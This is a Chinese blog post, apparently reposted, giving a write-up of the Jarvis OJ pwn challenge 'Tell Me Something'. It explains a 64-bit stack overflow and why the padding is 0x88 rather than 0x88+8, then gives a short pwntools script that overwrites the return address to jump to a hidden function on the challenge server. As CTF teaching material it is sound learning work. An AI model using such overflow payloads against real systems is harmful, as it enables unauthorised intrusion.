博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Jarvis Oj Pwn 学习笔记-Tell Me Something
阅读量:6831 次
发布时间:2019-06-26

本文共 814 字,大约阅读时间需要 2 分钟。

记一个64位栈帧的坑!!!

老板儿,链接要得:

https://files.cnblogs.com/files/Magpie/guestbook.rar

nc pwn.jarvisoj.com 9876

第n次checksec...:

宣IDA觐见:

good_name一看就很妖孽,于是跟进去:

好嘛~搞定了这不!

看一下main函数的溢出点:

于是payload:

junk='A' * (0x88 + 0x08)

ret=p64(0x400620)

payload=junk + ret

写好后一个payload打过去。。。结果,,说好的shell呢!!! /(ㄒoㄒ)/~~

所以,有坑!

现在我们来看一下汇编:

main:

 

 good_name:

 

 仔细一看,惊了!

main:----->

good_name: & ----->

所以,,它的栈帧处理和平衡的方式和我们常见的那种形式(push ebp ,     mov ebp,esp ,     sub esp,size_of_frame)是不一样的!

因此,它的栈帧结构里实际上是没有old_ebp的,即junk的size为0x88而非0x88+8

这样一来问题就解决了,我们上exp:

1 from pwn import* 2 r=remote('pwn.jarvisoj.com','9876') 3 print r.recvline() 4 pad='a'*0x88 5 add=p64(0x400620) 6 payload=pad+add 7 r.sendline(payload) 8 print payload 9 print r.recvline()10 print r.recvline()

从这道题中我们得到一个教训:

看汇编!

看汇编!!

一定要看汇编!!!

 

转载于:https://www.cnblogs.com/Magpie/p/9119021.html

你可能感兴趣的文章
JS中可能用得到的全部的排序算法
查看>>
actor ceo ex3ndr 介绍的actor,java,gwt,j2obj的框架体系
查看>>
Mysql 出现the right syntax to use near USING BTREE错误解决办法
查看>>
npm scripts 官方文档(译)
查看>>
C++考题
查看>>
Windows系统下angular2环境搭建
查看>>
PHP - 魔术常量、魔术方法
查看>>
Python技术点
查看>>
es5 操作符运算标准
查看>>
前端技术选型的遗憾和经验教训
查看>>
详解ChinaCache分层自动化测试平台
查看>>
亚马逊发布新的AWS Step Functions集成
查看>>
敏捷2016大会主题演讲:现代敏捷
查看>>
一份关于Angular的倡议清单
查看>>
Service Mesh是大方向,那Database Mesh呢?
查看>>
Swift 4.1带来条件一致性等语言上的提升
查看>>
Apache Pulsar中的地域复制,第2篇:模式和实践
查看>>
百度开源AI硬件开发平台BIE-AI-Box和BIE-AI-Board
查看>>
管理微服务中的数据
查看>>
百度发布开源智能边缘计算平台OpenEdge
查看>>